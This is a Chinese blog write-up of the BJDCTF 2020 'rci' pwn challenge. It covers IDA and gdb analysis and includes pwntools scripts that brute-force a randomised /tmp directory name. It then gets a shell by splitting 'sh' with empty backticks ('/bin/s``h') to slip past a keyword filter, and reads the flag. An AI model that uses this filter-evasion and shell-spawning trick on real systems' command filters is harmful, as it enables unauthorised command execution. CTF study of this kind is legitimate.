menu EDS
bjdctf 2nd_2020 rci
2972 浏览 | 2020-03-23 | 分类:pwn | 标签:

bjdctf 2nd_2020 rci

题目提供ELF文件一个,

  1. 试运行。
@ubuntu:~/Desktop/rci$ ./rci
正在送imagin去小黑窝~
Level Up ! 获得道具 ls 
ls
[你得到了一些关于imagin的线索]
不过......Ta在哪里呢?
ls 
你没有找到imagin,灰头土脸的离开了
  1. ida静态分析

主函数

init函数

分析源码所得,先执行init()函数,第一次的输入符合check1的要求后会执行系统命令,

check1在输入' ','-','/'以及字母以外的字符,会跳过system执行,无法获取权限。

执行完命令后回到main函数,到第二次输入,在比较第二次输入与该文件执行目录完全匹配后(getcwd())才能继续执行。

  1. 动态分析

由于本程序直接调用system()函数,会终端调试,影响分析,需要在源程序基础上做改动。

用winhex打开程序,在函数表内找到system函数,将system替换成不影响调试的printf()函数(因为他们的第一个参数都是str型,不会影响函数执行)。、

修改前

修改后

另存为文件后,动态分析。

在[debug]中发现很多R0OM#(数字)在开始时发出

[DEBUG] Received 0x611 bytes:
    00000000  1b 5b 30 31  3b 33 31 6d  e6 ad a3 e5  9c a8 e9 80  │·[01│;31m│····│····│
    00000010  81 69 6d 61  67 69 6e e5  8e bb e5 b0  8f e9 bb 91  │·ima│gin·│····│····│
    00000020  e7 aa 9d 7e  1b 5b 30 31  3b 33 32 6d  0a 52 30 4f  │···~│·[01│;32m│·R0O│
    00000030  4d 23 31 35  35 30 30 36  38 36 30 32  08 08 08 08  │M#15│5006│8602│····│
    00000040  08 08 08 08  08 08 08 08  08 08 08 52  30 4f 4d 23  │····│····│···R│0OM#│
    00000050  30 32 30 32  33 37 39 34  30 31 08 08  08 08 08 08  │0202│3794│01··│····│
    00000060  08 08 08 08  08 08 08 08  08 52 30 4f  4d 23 32 31  │····│····│·R0O│M#21│
    00000070  34 35 31 37  32 37 30 35  08 08 08 08  08 08 08 08  │4517│2705│····│····│
    00000080  08 08 08 08  08 08 08 52  30 4f 4d 23  30 36 34 35  │····│···R│0OM#│0645│
    00000090  32 36 31 35  39 33 08 08  08 08 08 08  08 08 08 08  │2615│93··│····│····│
    000000a0  08 08 08 08  08 52 30 4f  4d 23 30 36  34 31 36 33  │····│·R0O│M#06│4163│
    000000b0  30 35 37 30  08 08 08 08  08 08 08 08  08 08 08 08  │0570│····│····│····│
    000000c0  08 08 08 52  30 4f 4d 23  30 30 39 31  38 33 36 37  │···R│0OM#│0091│8367│
    000000d0  35 37 08 08  08 08 08 08  08 08 08 08  08 08 08 08  │57··│····│····│····│
    000000e0  08 52 30 4f  4d 23 32 31  33 38 31 32  35 32 33 30  │·R0O│M#21│3812│5230│
    000000f0  08 08 08 08  08 08 08 08  08 08 08 08  08 08 08 52  │····│····│····│···R│
    00000100  30 4f 4d 23  32 37 35 37  34 39 32 38  30 30 08 08  │0OM#│2757│4928│00··│
    00000110  08 08 08 08  08 08 08 08  08 08 08 08  08 52 30 4f  │····│····│····│·R0O│
    00000120  4d 23 31 38  37 34 36 30  39 37 39 32  08 08 08 08  │M#18│7460│9792│····│
    00000130  08 08 08 08  08 08 08 08  08 08 08 52  30 4f 4d 23  │····│····│···R│0OM#│
    00000140  30 38 35 32  33 35 37 30  34 38 08 08  08 08 08 08  │0852│3570│48··│····│
    00000150  08 08 08 08  08 08 08 08  08 52 30 4f  4d 23 30 38  │····│····│·R0O│M#08│
    00000160  38 37 30 35  34 31 32 39  08 08 08 08  08 08 08 08  │8705│4129│····│····│
    00000170  08 08 08 08  08 08 08 52  30 4f 4d 23  32 36 31 35  │····│···R│0OM#│2615│
    00000180  36 36 30 30  32 32 08 08  08 08 08 08  08 08 08 08  │6600│22··│····│····│
    00000190  08 08 08 08  08 52 30 4f  4d 23 34 30  37 35 38 39  │····│·R0O│M#40│7589│
    000001a0  32 34 32 34  08 08 08 08  08 08 08 08  08 08 08 08  │2424│····│····│····│
    000001b0  08 08 08 52  30 4f 4d 23  31 39 37 38  35 31 34 33  │···R│0OM#│1978│5143│
    000001c0  35 36 08 08  08 08 08 08  08 08 08 08  08 08 08 08  │56··│····│····│····│
    000001d0  08 52 30 4f  4d 23 34 31  38 36 38 34  37 33 34 38  │·R0O│M#41│8684│7348│
    000001e0  08 08 08 08  08 08 08 08  08 08 08 08  08 08 08 52  │····│····│····│···R│
    000001f0  30 4f 4d 23  32 37 32 32  31 34 34 37  37 37 08 08  │0OM#│2722│1447│77··│

在0x18e9处下断点。

结果如下

[----------------------------------registers-----------------------------------]
RAX: 0x7ffe84cf2150 --> 0x0 
RBX: 0x0 
RCX: 0x7fea2613f2c0 (<__write_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x7fea2640e780 --> 0x0 
RSI: 0x50 ('P')
RDI: 0x1 
RBP: 0x7ffe84cf21b0 --> 0x55a42d3e19c0 (push   r15)
RSP: 0x7ffe84cf20c0 --> 0x7ffe84cf2298 --> 0x7ffe84cf32e0 ("./rcigai")
RIP: 0x55a42d3e18e9 (mov    rdi,rax)
R8 : 0x7fea2661c700 (0x00007fea2661c700)
R9 : 0x7fea2661c700 (0x00007fea2661c700)
R10: 0x0 
R11: 0x246 
R12: 0x55a42d3e1170 (xor    ebp,ebp)
R13: 0x7ffe84cf2290 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55a42d3e18db:    call   0x55a42d3e1050
   0x55a42d3e18e0:    lea    rax,[rbp-0x60]
   0x55a42d3e18e4:    mov    esi,0x50
=> 0x55a42d3e18e9:    mov    rdi,rax
   0x55a42d3e18ec:    call   0x55a42d3e14a5
   0x55a42d3e18f1:    lea    rdx,[rbp-0xb0]
   0x55a42d3e18f8:    lea    rax,[rbp-0x60]
   0x55a42d3e18fc:    mov    rsi,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7ffe84cf20c0 --> 0x7ffe84cf2298 --> 0x7ffe84cf32e0 ("./rcigai")
0008| 0x7ffe84cf20c8 --> 0x1261d4627 
0016| 0x7ffe84cf20d0 --> 0xffffffff 
0024| 0x7ffe84cf20d8 --> 0x626639718 
0032| 0x7ffe84cf20e0 --> 0x0 
0040| 0x7ffe84cf20e8 --> 0x0 
0048| 0x7ffe84cf20f0 --> 0x0 
0056| 0x7ffe84cf20f8 --> 0x0 
[------------------------------------------------------------------------------]

$rbp-0xb0内的值

gdb-peda$ x/16s $rbp-0xb0
0x7ffe84cf2100:    "/tmp/R0OM#11683"...
0x7ffe84cf210f:    "80294"

发现,对比的内容是当前程序执行的位置,而且和之前的‘R0OM#’有关系。

收集R0OM#,脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')


def getroom(r):
    r.recvuntil('R0OM')
    num = r.recv(11)
    return 'R0OM'+num


local = 1
if local == 1:
    r=process('./rcigai')
    #gdb.attach(r,'vmmap')
else:
    r=remote('node3.buuoj.cn',25067)

for i in range(60):
    print getroom(r)
    print i

在47处停下,总共为47个。

随机选择一个R0OM#,去碰撞,如果失败,重新执行(略大于2%的几率,比明日方舟出六星的几率略高)

脚本如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')


def getroom(r):
    r.recvuntil('R0OM')
    num = r.recv(11)
    return 'R0OM'+num



local = 1
if local == 1:
    r=process('./rcigai')
    #gdb.attach(r,'vmmap')
else:
    r=remote('node3.buuoj.cn',25067)
    
for i in range(47):
    room = getroom(r)
    print getroom(r)
    if i == 4:
        x = room

r.recvuntil('ls')
r.sendline('ls /')
r.recvuntil('Ta')
r.sendline('/tmp/'+'x')

r.interactive()

碰撞成功后出现以下画面。

成功后程序继续运行,开始第三次输入,符合check2的要求后会执行系统命令,check2的要求很低,很好绕过。

利用拼接符成功绕过sh过滤获取shell。

/bin/s``h
Level Up ! 获得道具 残缺的shell 
$ /bin/s``h
你成功地修复了shell,快 
$ cd /
$ ls
bin
dev
imagin
lib
lib32
lib64
libx32
rci
tmp

flag在imagin文件内。

$ cat imagin
flag{b97e9e07-6338-49f8-af28-b4a80afd69c8}

最后,说一下这个题有些漏洞,有些时候执行时,getcwd()函数会坏掉,导致第二次输入什么都不用输就能到第三次输入。出现在当时试运行期间,由于当时未对程序审查,不了解程序构造,错失良机,肠子都悔青了。

发表评论

email
web

全部评论 (共 2 条评论)

    shangzeng
    2020-03-25 19:19
    啧啧啧
    FzWjScJ
    2020-03-23 00:36
    师傅tqlll